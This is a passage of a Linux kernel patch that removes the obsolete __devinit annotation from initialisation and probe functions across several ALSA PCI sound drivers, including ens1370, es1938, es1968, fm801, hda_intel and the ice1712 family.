@@ -1310,7 +1310,7 @@ static int __devinit snd_ensoniq_pcm(struct ensoniq * ensoniq, int device,
 	return 0;
 }
 
-static int __devinit snd_ensoniq_pcm2(struct ensoniq * ensoniq, int device,
+static int snd_ensoniq_pcm2(struct ensoniq * ensoniq, int device,
 				      struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
@@ -1640,7 +1640,7 @@ static struct snd_pci_quirk ens1373_line_quirk[] __devinitdata = {
 	{ } /* end */
 };
 
-static int __devinit snd_ensoniq_1371_mixer(struct ensoniq *ensoniq,
+static int snd_ensoniq_1371_mixer(struct ensoniq *ensoniq,
 					    int has_spdif, int has_line)
 {
 	struct snd_card *card = ensoniq->card;
@@ -1762,7 +1762,7 @@ static void snd_ensoniq_mixer_free_ak4531(struct snd_ak4531 *ak4531)
 	ensoniq->u.es1370.ak4531 = NULL;
 }
 
-static int __devinit snd_ensoniq_1370_mixer(struct ensoniq * ensoniq)
+static int snd_ensoniq_1370_mixer(struct ensoniq * ensoniq)
 {
 	struct snd_card *card = ensoniq->card;
 	struct snd_ak4531 ak4531;
@@ -1796,7 +1796,7 @@ static int __devinit snd_ensoniq_1370_mixer(struct ensoniq * ensoniq)
 #ifdef SUPPORT_JOYSTICK
 
 #ifdef CHIP1371
-static int __devinit snd_ensoniq_get_joystick_port(int dev)
+static int snd_ensoniq_get_joystick_port(int dev)
 {
 	switch (joystick_port[dev]) {
 	case 0: /* disabled */
@@ -1819,7 +1819,7 @@ static inline int snd_ensoniq_get_joystick_port(int dev)
 }
 #endif
 
-static int __devinit snd_ensoniq_create_gameport(struct ensoniq *ensoniq, int dev)
+static int snd_ensoniq_create_gameport(struct ensoniq *ensoniq, int dev)
 {
 	struct gameport *gp;
 	int io_port;
@@ -1913,7 +1913,7 @@ static void snd_ensoniq_proc_read(struct snd_info_entry *entry,
 #endif
 }
 
-static void __devinit snd_ensoniq_proc_init(struct ensoniq * ensoniq)
+static void snd_ensoniq_proc_init(struct ensoniq * ensoniq)
 {
 	struct snd_info_entry *entry;
 
@@ -2106,7 +2106,7 @@ static SIMPLE_DEV_PM_OPS(snd_ensoniq_pm, snd_ensoniq_suspend, snd_ensoniq_resume
 #define SND_ENSONIQ_PM_OPS	NULL
 #endif /* CONFIG_PM_SLEEP */
 
-static int __devinit snd_ensoniq_create(struct snd_card *card,
+static int snd_ensoniq_create(struct snd_card *card,
 				     struct pci_dev *pci,
 				     struct ensoniq ** rensoniq)
 {
@@ -2361,7 +2361,7 @@ static struct snd_rawmidi_ops snd_ensoniq_midi_input =
 	.trigger =	snd_ensoniq_midi_input_trigger,
 };
 
-static int __devinit snd_ensoniq_midi(struct ensoniq * ensoniq, int device,
+static int snd_ensoniq_midi(struct ensoniq * ensoniq, int device,
 				      struct snd_rawmidi **rrawmidi)
 {
 	struct snd_rawmidi *rmidi;
@@ -2422,7 +2422,7 @@ static irqreturn_t snd_audiopci_interrupt(int irq, void *dev_id)
 	return IRQ_HANDLED;
 }
 
-static int __devinit snd_audiopci_probe(struct pci_dev *pci,
+static int snd_audiopci_probe(struct pci_dev *pci,
 					const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/es1938.c b/sound/pci/es1938.c
index 83b889f..5441377 100644
--- a/sound/pci/es1938.c
+++ b/sound/pci/es1938.c
@@ -1027,7 +1027,7 @@ static struct snd_pcm_ops snd_es1938_capture_ops = {
 	.copy =		snd_es1938_capture_copy,
 };
 
-static int __devinit snd_es1938_new_pcm(struct es1938 *chip, int device)
+static int snd_es1938_new_pcm(struct es1938 *chip, int device)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1539,7 +1539,7 @@ static SIMPLE_DEV_PM_OPS(es1938_pm, es1938_suspend, es1938_resume);
 #endif /* CONFIG_PM_SLEEP */
 
 #ifdef SUPPORT_JOYSTICK
-static int __devinit snd_es1938_create_gameport(struct es1938 *chip)
+static int snd_es1938_create_gameport(struct es1938 *chip)
 {
 	struct gameport *gp;
 
@@ -1594,7 +1594,7 @@ static int snd_es1938_dev_free(struct snd_device *device)
 	return snd_es1938_free(chip);
 }
 
-static int __devinit snd_es1938_create(struct snd_card *card,
+static int snd_es1938_create(struct snd_card *card,
 				    struct pci_dev * pci,
 				    struct es1938 ** rchip)
 {
@@ -1754,7 +1754,7 @@ static irqreturn_t snd_es1938_interrupt(int irq, void *dev_id)
 
 #define ES1938_DMA_SIZE 64
 
-static int __devinit snd_es1938_mixer(struct es1938 *chip)
+static int snd_es1938_mixer(struct es1938 *chip)
 {
 	struct snd_card *card;
 	unsigned int idx;
@@ -1792,7 +1792,7 @@ static int __devinit snd_es1938_mixer(struct es1938 *chip)
 }
        
 
-static int __devinit snd_es1938_probe(struct pci_dev *pci,
+static int snd_es1938_probe(struct pci_dev *pci,
 				      const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/es1968.c b/sound/pci/es1968.c
index 90e29c5..076e461 100644
--- a/sound/pci/es1968.c
+++ b/sound/pci/es1968.c
@@ -1429,8 +1429,7 @@ static void snd_es1968_free_dmabuf(struct es1968 *chip)
 	}
 }
 
-static int __devinit
-snd_es1968_init_dmabuf(struct es1968 *chip)
+static int snd_es1968_init_dmabuf(struct es1968 *chip)
 {
 	int err;
 	struct esm_memory *chunk;
@@ -1704,7 +1703,7 @@ static struct snd_pcm_ops snd_es1968_capture_ops = {
  */
 #define CLOCK_MEASURE_BUFSIZE	16768	/* enough large for a single shot */
 
-static void __devinit es1968_measure_clock(struct es1968 *chip)
+static void es1968_measure_clock(struct es1968 *chip)
 {
 	int i, apu;
 	unsigned int pa, offset, t;
@@ -1806,8 +1805,7 @@ static void snd_es1968_pcm_free(struct snd_pcm *pcm)
 	esm->pcm = NULL;
 }
 
-static int __devinit
-snd_es1968_pcm(struct es1968 *chip, int device)
+static int snd_es1968_pcm(struct es1968 *chip, int device)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -2016,8 +2014,7 @@ static irqreturn_t snd_es1968_interrupt(int irq, void *dev_id)
  *  Mixer stuff
  */
 
-static int __devinit
-snd_es1968_mixer(struct es1968 *chip)
+static int snd_es1968_mixer(struct es1968 *chip)
 {
 	struct snd_ac97_bus *pbus;
 	struct snd_ac97_template ac97;
@@ -2465,7 +2462,7 @@ static SIMPLE_DEV_PM_OPS(es1968_pm, es1968_suspend, es1968_resume);
 
 #ifdef SUPPORT_JOYSTICK
 #define JOYSTICK_ADDR	0x200
-static int __devinit snd_es1968_create_gameport(struct es1968 *chip, int dev)
+static int snd_es1968_create_gameport(struct es1968 *chip, int dev)
 {
 	struct gameport *gp;
 	struct resource *r;
@@ -2516,7 +2513,7 @@ static inline void snd_es1968_free_gameport(struct es1968 *chip) { }
 #endif
 
 #ifdef CONFIG_SND_ES1968_INPUT
-static int __devinit snd_es1968_input_register(struct es1968 *chip)
+static int snd_es1968_input_register(struct es1968 *chip)
 {
 	struct input_dev *input_dev;
 	int err;
@@ -2668,7 +2665,7 @@ static struct ess_device_list mpu_blacklist[] __devinitdata = {
 	{ TYPE_MAESTRO2, 0x125d },
 };
 
-static int __devinit snd_es1968_create(struct snd_card *card,
+static int snd_es1968_create(struct snd_card *card,
 				       struct pci_dev *pci,
 				       int total_bufsize,
 				       int play_streams,
@@ -2795,7 +2792,7 @@ static int __devinit snd_es1968_create(struct snd_card *card,
 
 /*
  */
-static int __devinit snd_es1968_probe(struct pci_dev *pci,
+static int snd_es1968_probe(struct pci_dev *pci,
 				      const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/fm801.c b/sound/pci/fm801.c
index 8ec35dd..aa18b03 100644
--- a/sound/pci/fm801.c
+++ b/sound/pci/fm801.c
@@ -689,7 +689,7 @@ static struct snd_pcm_ops snd_fm801_capture_ops = {
 	.pointer =	snd_fm801_capture_pointer,
 };
 
-static int __devinit snd_fm801_pcm(struct fm801 *chip, int device, struct snd_pcm ** rpcm)
+static int snd_fm801_pcm(struct fm801 *chip, int device, struct snd_pcm ** rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1030,7 +1030,7 @@ static void snd_fm801_mixer_free_ac97(struct snd_ac97 *ac97)
 	}
 }
 
-static int __devinit snd_fm801_mixer(struct fm801 *chip)
+static int snd_fm801_mixer(struct fm801 *chip)
 {
 	struct snd_ac97_template ac97;
 	unsigned int i;
@@ -1191,7 +1191,7 @@ static int snd_fm801_dev_free(struct snd_device *device)
 	return snd_fm801_free(chip);
 }
 
-static int __devinit snd_fm801_create(struct snd_card *card,
+static int snd_fm801_create(struct snd_card *card,
 				      struct pci_dev * pci,
 				      int tea575x_tuner,
 				      int radio_nr,
@@ -1296,7 +1296,7 @@ static int __devinit snd_fm801_create(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit snd_card_fm801_probe(struct pci_dev *pci,
+static int snd_card_fm801_probe(struct pci_dev *pci,
 					  const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/hda/hda_intel.c b/sound/pci/hda/hda_intel.c
index bad2ba0..716d233 100644
--- a/sound/pci/hda/hda_intel.c
+++ b/sound/pci/hda/hda_intel.c
@@ -599,7 +599,7 @@ enum {
 #define DELAYED_INIT_MARK
 #define DELAYED_INITDATA_MARK
 #else
-#define DELAYED_INIT_MARK	__devinit
+#define DELAYED_INIT_MARK
 #define DELAYED_INITDATA_MARK	__devinitdata
 #endif
 
@@ -1708,7 +1708,7 @@ static int DELAYED_INIT_MARK azx_codec_create(struct azx *chip, const char *mode
 }
 
 /* configure each codec instance */
-static int __devinit azx_codec_configure(struct azx *chip)
+static int azx_codec_configure(struct azx *chip)
 {
 	struct hda_codec *codec;
 	list_for_each_entry(codec, &chip->bus->codec_list, list) {
@@ -2479,7 +2479,7 @@ azx_attach_pcm_stream(struct hda_bus *bus, struct hda_codec *codec,
 /*
  * mixer creation - all stuff is implemented in hda module
  */
-static int __devinit azx_mixer_create(struct azx *chip)
+static int azx_mixer_create(struct azx *chip)
 {
 	return snd_hda_build_controls(chip->bus);
 }
@@ -2488,7 +2488,7 @@ static int __devinit azx_mixer_create(struct azx *chip)
 /*
  * initialize SD streams
  */
-static int __devinit azx_init_stream(struct azx *chip)
+static int azx_init_stream(struct azx *chip)
 {
 	int i;
 
@@ -2726,7 +2726,7 @@ static int DELAYED_INIT_MARK azx_first_init(struct azx *chip);
 static int DELAYED_INIT_MARK azx_probe_continue(struct azx *chip);
 
 #ifdef SUPPORT_VGA_SWITCHEROO
-static struct pci_dev __devinit *get_bound_vga(struct pci_dev *pci);
+static struct pci_dev *get_bound_vga(struct pci_dev *pci);
 
 static void azx_vs_set_state(struct pci_dev *pci,
 			     enum vga_switcheroo_state state)
@@ -2790,7 +2790,7 @@ static bool azx_vs_can_switch(struct pci_dev *pci)
 	return true;
 }
 
-static void __devinit init_vga_switcheroo(struct azx *chip)
+static void init_vga_switcheroo(struct azx *chip)
 {
 	struct pci_dev *p = get_bound_vga(chip->pci);
 	if (p) {
@@ -2807,7 +2807,7 @@ static const struct vga_switcheroo_client_ops azx_vs_ops = {
 	.can_switch = azx_vs_can_switch,
 };
 
-static int __devinit register_vga_switcheroo(struct azx *chip)
+static int register_vga_switcheroo(struct azx *chip)
 {
 	int err;
 
@@ -2899,7 +2899,7 @@ static int azx_dev_free(struct snd_device *device)
 /*
  * Check of disabled HDMI controller by vga-switcheroo
  */
-static struct pci_dev __devinit *get_bound_vga(struct pci_dev *pci)
+static struct pci_dev *get_bound_vga(struct pci_dev *pci)
 {
 	struct pci_dev *p;
 
@@ -2922,7 +2922,7 @@ static struct pci_dev __devinit *get_bound_vga(struct pci_dev *pci)
 	return NULL;
 }
 
-static bool __devinit check_hdmi_disabled(struct pci_dev *pci)
+static bool check_hdmi_disabled(struct pci_dev *pci)
 {
 	bool vga_inactive = false;
 	struct pci_dev *p = get_bound_vga(pci);
@@ -2957,7 +2957,7 @@ static struct snd_pci_quirk position_fix_list[] __devinitdata = {
 	{}
 };
 
-static int __devinit check_position_fix(struct azx *chip, int fix)
+static int check_position_fix(struct azx *chip, int fix)
 {
 	const struct snd_pci_quirk *q;
 
@@ -3015,7 +3015,7 @@ static struct snd_pci_quirk probe_mask_list[] __devinitdata = {
 
 #define AZX_FORCE_CODEC_MASK	0x100
 
-static void __devinit check_probe_mask(struct azx *chip, int dev)
+static void check_probe_mask(struct azx *chip, int dev)
 {
 	const struct snd_pci_quirk *q;
 
@@ -3052,7 +3052,7 @@ static struct snd_pci_quirk msi_black_list[] __devinitdata = {
 	{}
 };
 
-static void __devinit check_msi(struct azx *chip)
+static void check_msi(struct azx *chip)
 {
 	const struct snd_pci_quirk *q;
 
@@ -3078,7 +3078,7 @@ static void __devinit check_msi(struct azx *chip)
 }
 
 /* check the snoop mode availability */
-static void __devinit azx_check_snoop_available(struct azx *chip)
+static void azx_check_snoop_available(struct azx *chip)
 {
 	bool snoop = chip->snoop;
 
@@ -3110,7 +3110,7 @@ static void __devinit azx_check_snoop_available(struct azx *chip)
 /*
  * constructor
  */
-static int __devinit azx_create(struct snd_card *card, struct pci_dev *pci,
+static int azx_create(struct snd_card *card, struct pci_dev *pci,
 				int dev, unsigned int driver_caps,
 				struct azx **rchip)
 {
@@ -3409,7 +3409,7 @@ static void azx_firmware_cb(const struct firmware *fw, void *context)
 }
 #endif
 
-static int __devinit azx_probe(struct pci_dev *pci,
+static int azx_probe(struct pci_dev *pci,
 			       const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/ice1712/amp.c b/sound/pci/ice1712/amp.c
index d9bd27b..943cf4b 100644
--- a/sound/pci/ice1712/amp.c
+++ b/sound/pci/ice1712/amp.c
@@ -37,7 +37,7 @@ static void wm_put(struct snd_ice1712 *ice, int reg, unsigned short val)
 	snd_vt1724_write_i2c(ice, WM_DEV, cval >> 8, cval & 0xff);
 }
 
-static int __devinit snd_vt1724_amp_init(struct snd_ice1712 *ice)
+static int snd_vt1724_amp_init(struct snd_ice1712 *ice)
 {
 	static const unsigned short wm_inits[] = {
 		WM_ATTEN_L,	0x0000,	/* 0 db */
@@ -65,7 +65,7 @@ static int __devinit snd_vt1724_amp_init(struct snd_ice1712 *ice)
 	return 0;
 }
 
-static int __devinit snd_vt1724_amp_add_controls(struct snd_ice1712 *ice)
+static int snd_vt1724_amp_add_controls(struct snd_ice1712 *ice)
 {
 	if (ice->ac97)
 		/* we use pins 39 and 41 of the VT1616 for left and right
diff --git a/sound/pci/ice1712/aureon.c b/sound/pci/ice1712/aureon.c
index ce9941c..8d16da9 100644
--- a/sound/pci/ice1712/aureon.c
+++ b/sound/pci/ice1712/aureon.c
@@ -1896,7 +1896,7 @@ static struct snd_kcontrol_new cs8415_controls[] __devinitdata = {
 	}
 };
 
-static int __devinit aureon_add_controls(struct snd_ice1712 *ice)
+static int aureon_add_controls(struct snd_ice1712 *ice)
 {
 	unsigned int i, counts;
 	int err;
@@ -2124,7 +2124,7 @@ static int aureon_resume(struct snd_ice1712 *ice)
 /*
  * initialize the chip
  */
-static int __devinit aureon_init(struct snd_ice1712 *ice)
+static int aureon_init(struct snd_ice1712 *ice)
 {
 	struct aureon_spec *spec;
 	int i, err;
diff --git a/sound/pci/ice1712/delta.c b/sound/pci/ice1712/delta.c
index bbef99b..1e8e5cf 100644
--- a/sound/pci/ice1712/delta.c
+++ b/sound/pci/ice1712/delta.c
@@ -575,7 +575,7 @@ static struct snd_ak4xxx_private akm_vx442_priv __devinitdata = {
 	.mask_flags = 0,
 };
 
-static int __devinit snd_ice1712_delta_init(struct snd_ice1712 *ice)
+static int snd_ice1712_delta_init(struct snd_ice1712 *ice)
 {
 	int err;
 	struct snd_akm4xxx *ak;
@@ -725,7 +725,7 @@ static struct snd_kcontrol_new snd_ice1712_delta_spdif_in_status __devinitdata =
 ICE1712_GPIO(SNDRV_CTL_ELEM_IFACE_MIXER, "Delta IEC958 Input Status", 0, ICE1712_DELTA_SPDIF_IN_STAT, 1, SNDRV_CTL_ELEM_ACCESS_READ | SNDRV_CTL_ELEM_ACCESS_VOLATILE);
 
 
-static int __devinit snd_ice1712_delta_add_controls(struct snd_ice1712 *ice)
+static int snd_ice1712_delta_add_controls(struct snd_ice1712 *ice)
 {
 	int err;
 
diff --git a/sound/pci/ice1712/ews.c b/sound/pci/ice1712/ews.c
index bf289f0..65eaf99 100644
--- a/sound/pci/ice1712/ews.c
+++ b/sound/pci/ice1712/ews.c
@@ -419,7 +419,7 @@ static struct snd_ak4xxx_private akm_6fire_priv __devinitdata = {
 
 static int snd_ice1712_6fire_write_pca(struct snd_ice1712 *ice, unsigned char reg, unsigned char data);
 
-static int __devinit snd_ice1712_ews_init(struct snd_ice1712 *ice)
+static int snd_ice1712_ews_init(struct snd_ice1712 *ice)
 {
 	int err;
 	struct snd_akm4xxx *ak;
@@ -963,7 +963,7 @@ static struct snd_kcontrol_new snd_ice1712_6fire_controls[] __devinitdata = {
 };
 
 
-static int __devinit snd_ice1712_ews_add_controls(struct snd_ice1712 *ice)
+static int snd_ice1712_ews_add_controls(struct snd_ice1712 *ice)
 {
 	unsigned int idx;
 	int err;
diff --git a/sound/pci/ice1712/hoontech.c b/sound/pci/ice1712/hoontech.c
index 3d84d21..db1e852 100644
--- a/sound/pci/ice1712/hoontech.c
+++ b/sound/pci/ice1712/hoontech.c
@@ -39,7 +39,7 @@ struct hoontech_spec {
 	unsigned short boxconfig[4];
 };
 
-static void __devinit snd_ice1712_stdsp24_gpio_write(struct snd_ice1712 *ice, unsigned char byte)
+static void snd_ice1712_stdsp24_gpio_write(struct snd_ice1712 *ice, unsigned char byte)
 {
 	byte |= ICE1712_STDSP24_CLOCK_BIT;
 	udelay(100);
@@ -52,7 +52,7 @@ static void __devinit snd_ice1712_stdsp24_gpio_write(struct snd_ice1712 *ice, un
 	snd_ice1712_write(ice, ICE1712_IREG_GPIO_DATA, byte);
 }
 
-static void __devinit snd_ice1712_stdsp24_darear(struct snd_ice1712 *ice, int activate)
+static void snd_ice1712_stdsp24_darear(struct snd_ice1712 *ice, int activate)
 {
 	struct hoontech_spec *spec = ice->spec;
 	mutex_lock(&ice->gpio_mutex);
@@ -61,7 +61,7 @@ static void __devinit snd_ice1712_stdsp24_darear(struct snd_ice1712 *ice, int ac
 	mutex_unlock(&ice->gpio_mutex);
 }
 
-static void __devinit snd_ice1712_stdsp24_mute(struct snd_ice1712 *ice, int activate)
+static void snd_ice1712_stdsp24_mute(struct snd_ice1712 *ice, int activate)
 {
 	struct hoontech_spec *spec = ice->spec;
 	mutex_lock(&ice->gpio_mutex);
@@ -70,7 +70,7 @@ static void __devinit snd_ice1712_stdsp24_mute(struct snd_ice1712 *ice, int acti
 	mutex_unlock(&ice->gpio_mutex);
 }
 
-static void __devinit snd_ice1712_stdsp24_insel(struct snd_ice1712 *ice, int activate)
+static void snd_ice1712_stdsp24_insel(struct snd_ice1712 *ice, int activate)
 {
 	struct hoontech_spec *spec = ice->spec;
 	mutex_lock(&ice->gpio_mutex);
@@ -79,7 +79,7 @@ static void __devinit snd_ice1712_stdsp24_insel(struct snd_ice1712 *ice, int act
 	mutex_unlock(&ice->gpio_mutex);
 }
 
-static void __devinit snd_ice1712_stdsp24_box_channel(struct snd_ice1712 *ice, int box, int chn, int activate)
+static void snd_ice1712_stdsp24_box_channel(struct snd_ice1712 *ice, int box, int chn, int activate)
 {
 	struct hoontech_spec *spec = ice->spec;
 
@@ -129,7 +129,7 @@ static void __devinit snd_ice1712_stdsp24_box_channel(struct snd_ice1712 *ice, i
 	mutex_unlock(&ice->gpio_mutex);
 }
 
-static void __devinit snd_ice1712_stdsp24_box_midi(struct snd_ice1712 *ice, int box, int master)
+static void snd_ice1712_stdsp24_box_midi(struct snd_ice1712 *ice, int box, int master)
 {
 	struct hoontech_spec *spec = ice->spec;
 
@@ -157,7 +157,7 @@ static void __devinit snd_ice1712_stdsp24_box_midi(struct snd_ice1712 *ice, int
 	mutex_unlock(&ice->gpio_mutex);
 }
 
-static void __devinit snd_ice1712_stdsp24_midi2(struct snd_ice1712 *ice, int activate)
+static void snd_ice1712_stdsp24_midi2(struct snd_ice1712 *ice, int activate)
 {
 	struct hoontech_spec *spec = ice->spec;
 	mutex_lock(&ice->gpio_mutex);
@@ -166,7 +166,7 @@ static void __devinit snd_ice1712_stdsp24_midi2(struct snd_ice1712 *ice, int act
 	mutex_unlock(&ice->gpio_mutex);
 }
 
-static int __devinit snd_ice1712_hoontech_init(struct snd_ice1712 *ice)
+static int snd_ice1712_hoontech_init(struct snd_ice1712 *ice)
 {
 	struct hoontech_spec *spec;
 	int box, chn;
@@ -266,7 +266,7 @@ static void stdsp24_ak4524_lock(struct snd_akm4xxx *ak, int chip)
 	snd_ice1712_write(ice, ICE1712_IREG_GPIO_WRITE_MASK, ~tmp);
 }
 
-static int __devinit snd_ice1712_value_init(struct snd_ice1712 *ice)
+static int snd_ice1712_value_init(struct snd_ice1712 *ice)
 {
 	/* Hoontech STDSP24 with modified hardware */
 	static struct snd_akm4xxx akm_stdsp24_mv __devinitdata = {
@@ -316,7 +316,7 @@ static int __devinit snd_ice1712_value_init(struct snd_ice1712 *ice)
 	return 0;
 }
 
-static int __devinit snd_ice1712_ez8_init(struct snd_ice1712 *ice)
+static int snd_ice1712_ez8_init(struct snd_ice1712 *ice)
 {
 	ice->gpio.write_mask = ice->eeprom.gpiomask;
 	ice->gpio.direction = ice->eeprom.gpiodir;
diff --git a/sound/pci/ice1712/ice1712.c b/sound/pci/ice1712/ice1712.c
index 80b3409..31719d0 100644
--- a/sound/pci/ice1712/ice1712.c
+++ b/sound/pci/ice1712/ice1712.c
@@ -387,7 +387,7 @@ static void setup_cs8427(struct snd_ice1712 *ice, int rate)
 /*
  * create and initialize callbacks for cs8427 interface
  */
-int __devinit snd_ice1712_init_cs8427(struct snd_ice1712 *ice, int addr)
+int snd_ice1712_init_cs8427(struct snd_ice1712 *ice, int addr)
 {
 	int err;
 
@@ -878,7 +878,7 @@ static struct snd_pcm_ops snd_ice1712_capture_ops = {
 	.pointer =	snd_ice1712_capture_pointer,
 };
 
-static int __devinit snd_ice1712_pcm(struct snd_ice1712 *ice, int device, struct snd_pcm **rpcm)
+static int snd_ice1712_pcm(struct snd_ice1712 *ice, int device, struct snd_pcm **rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -908,7 +908,7 @@ static int __devinit snd_ice1712_pcm(struct snd_ice1712 *ice, int device, struct
 	return 0;
 }
 
-static int __devinit snd_ice1712_pcm_ds(struct snd_ice1712 *ice, int device, struct snd_pcm **rpcm)
+static int snd_ice1712_pcm_ds(struct snd_ice1712 *ice, int device, struct snd_pcm **rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1253,7 +1253,7 @@ static struct snd_pcm_ops snd_ice1712_capture_pro_ops = {
 	.pointer =	snd_ice1712_capture_pro_pointer,
 };
 
-static int __devinit snd_ice1712_pcm_profi(struct snd_ice1712 *ice, int device, struct snd_pcm **rpcm)
+static int snd_ice1712_pcm_profi(struct snd_ice1712 *ice, int device, struct snd_pcm **rpcm)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -1452,7 +1452,7 @@ static struct snd_kcontrol_new snd_ice1712_multi_capture_spdif_volume __devinitd
 	.count = 2,
 };
 
-static int __devinit snd_ice1712_build_pro_mixer(struct snd_ice1712 *ice)
+static int snd_ice1712_build_pro_mixer(struct snd_ice1712 *ice)
 {
 	struct snd_card *card = ice->card;
 	unsigned int idx;
@@ -1511,7 +1511,7 @@ static void snd_ice1712_mixer_free_ac97(struct snd_ac97 *ac97)
 	ice->ac97 = NULL;
 }
 
-static int __devinit snd_ice1712_ac97_mixer(struct snd_ice1712 *ice)
+static int snd_ice1712_ac97_mixer(struct snd_ice1712 *ice)
 {
 	int err, bus_num = 0;
 	struct snd_ac97_template ac97;
@@ -1610,7 +1610,7 @@ static void snd_ice1712_proc_read(struct snd_info_entry *entry,
 	snd_iprintf(buffer, "  GPIO_DIRECTION   : 0x%02x\n", (unsigned)snd_ice1712_read(ice, ICE1712_IREG_GPIO_DIRECTION));
 }
 
-static void __devinit snd_ice1712_proc_init(struct snd_ice1712 *ice)
+static void snd_ice1712_proc_init(struct snd_ice1712 *ice)
 {
 	struct snd_info_entry *entry;
 
@@ -2298,7 +2298,7 @@ static struct snd_ice1712_card_info *card_tables[] __devinitdata = {
 	NULL,
 };
 
-static unsigned char __devinit snd_ice1712_read_i2c(struct snd_ice1712 *ice,
+static unsigned char snd_ice1712_read_i2c(struct snd_ice1712 *ice,
 						 unsigned char dev,
 						 unsigned char addr)
 {
@@ -2310,7 +2310,7 @@ static unsigned char __devinit snd_ice1712_read_i2c(struct snd_ice1712 *ice,
 	return inb(ICEREG(ice, I2C_DATA));
 }
 
-static int __devinit snd_ice1712_read_eeprom(struct snd_ice1712 *ice,
+static int snd_ice1712_read_eeprom(struct snd_ice1712 *ice,
 					     const char *modelname)
 {
 	int dev = 0xa0;		/* EEPROM device address */
@@ -2385,7 +2385,7 @@ static int __devinit snd_ice1712_read_eeprom(struct snd_ice1712 *ice,
 
 
 
-static int __devinit snd_ice1712_chip_init(struct snd_ice1712 *ice)
+static int snd_ice1712_chip_init(struct snd_ice1712 *ice)
 {
 	outb(ICE1712_RESET | ICE1712_NATIVE, ICEREG(ice, CONTROL));
 	udelay(200);
@@ -2432,7 +2432,7 @@ static int __devinit snd_ice1712_chip_init(struct snd_ice1712 *ice)
 	return 0;
 }
 
-int __devinit snd_ice1712_spdif_build_controls(struct snd_ice1712 *ice)
+int snd_ice1712_spdif_build_controls(struct snd_ice1712 *ice)
 {
 	int err;
 	struct snd_kcontrol *kctl;
@@ -2460,7 +2460,7 @@ int __devinit snd_ice1712_spdif_build_controls(struct snd_ice1712 *ice)
 }
 
 
-static int __devinit snd_ice1712_build_controls(struct snd_ice1712 *ice)
+static int snd_ice1712_build_controls(struct snd_ice1712 *ice)
 {
 	int err;
 
@@ -2530,7 +2530,7 @@ static int snd_ice1712_dev_free(struct snd_device *device)
 	return snd_ice1712_free(ice);
 }
 
-static int __devinit snd_ice1712_create(struct snd_card *card,
+static int snd_ice1712_create(struct snd_card *card,
 					struct pci_dev *pci,
 					const char *modelname,
 					int omni,
@@ -2652,7 +2652,7 @@ static int __devinit snd_ice1712_create(struct snd_card *card,
 
 static struct snd_ice1712_card_info no_matched __devinitdata;
 
-static int __devinit snd_ice1712_probe(struct pci_dev *pci,
+static int snd_ice1712_probe(struct pci_dev *pci,
 				       const struct pci_device_id *pci_id)
 {
 	static int dev;
diff --git a/sound/pci/ice1712/ice1724.c b/sound/pci/ice1712/ice1724.c
index cf872ae..30b5935 100644
--- a/sound/pci/ice1712/ice1724.c
+++ b/sound/pci/ice1712/ice1724.c
@@ -1135,7 +1135,7 @@ static struct snd_pcm_ops snd_vt1724_capture_pro_ops = {
 	.pointer =	snd_vt1724_pcm_pointer,
 };
 
-static int __devinit snd_vt1724_pcm_profi(struct snd_ice1712 *ice, int device)
+static int snd_vt1724_pcm_profi(struct snd_ice1712 *ice, int device)
 {
 	struct snd_pcm *pcm;
 	int capt, err;
@@ -1315,7 +1315,7 @@ static struct snd_pcm_ops snd_vt1724_capture_spdif_ops = {
 };
 
 
-static int __devinit snd_vt1724_pcm_spdif(struct snd_ice1712 *ice, int device)
+static int snd_vt1724_pcm_spdif(struct snd_ice1712 *ice, int device)
 {
 	char *name;
 	struct snd_pcm *pcm;
@@ -1449,7 +1449,7 @@ static struct snd_pcm_ops snd_vt1724_playback_indep_ops = {
 };
 
 
-static int __devinit snd_vt1724_pcm_indep(struct snd_ice1712 *ice, int device)
+static int snd_vt1724_pcm_indep(struct snd_ice1712 *ice, int device)
 {
 	struct snd_pcm *pcm;
 	int play;
@@ -1484,7 +1484,7 @@ static int __devinit snd_vt1724_pcm_indep(struct snd_ice1712 *ice, int device)
  *  Mixer section
  */
 
-static int __devinit snd_vt1724_ac97_mixer(struct snd_ice1712 *ice)
+static int snd_vt1724_ac97_mixer(struct snd_ice1712 *ice)
 {
 	int err;
 
@@ -1570,7 +1570,7 @@ static void snd_vt1724_proc_read(struct snd_info_entry *entry,
 			    idx, inb(ice->profi_port+idx));
 }
 
-static void __devinit snd_vt1724_proc_init(struct snd_ice1712 *ice)
+static void snd_vt1724_proc_init(struct snd_ice1712 *ice)
 {
 	struct snd_info_entry *entry;
 
@@ -2307,7 +2307,7 @@ void snd_vt1724_write_i2c(struct snd_ice1712 *ice,
 	mutex_unlock(&ice->i2c_mutex);
 }
 
-static int __devinit snd_vt1724_read_eeprom(struct snd_ice1712 *ice,
+static int snd_vt1724_read_eeprom(struct snd_ice1712 *ice,
 					    const char *modelname)
 {
 	const int dev = 0xa0;		/* EEPROM device address */
@@ -2430,7 +2430,7 @@ static int snd_vt1724_chip_init(struct snd_ice1712 *ice)
 	return 0;
 }
 
-static int __devinit snd_vt1724_spdif_build_controls(struct snd_ice1712 *ice)
+static int snd_vt1724_spdif_build_controls(struct snd_ice1712 *ice)
 {
 	int err;
 	struct snd_kcontrol *kctl;
@@ -2472,7 +2472,7 @@ static int __devinit snd_vt1724_spdif_build_controls(struct snd_ice1712 *ice)
 }
 
 
-static int __devinit snd_vt1724_build_controls(struct snd_ice1712 *ice)
+static int snd_vt1724_build_controls(struct snd_ice1712 *ice)
 {
 	int err;
 
@@ -2532,7 +2532,7 @@ static int snd_vt1724_dev_free(struct snd_device *device)
 	return snd_vt1724_free(ice);
 }
 
-static int __devinit snd_vt1724_create(struct snd_card *card,
+static int snd_vt1724_create(struct snd_card *card,
 				       struct pci_dev *pci,
 				       const char *modelname,
 				       struct snd_ice1712 **r_ice1712)
@@ -2622,7 +2622,7 @@ static int __devinit snd_vt1724_create(struct snd_card *card,
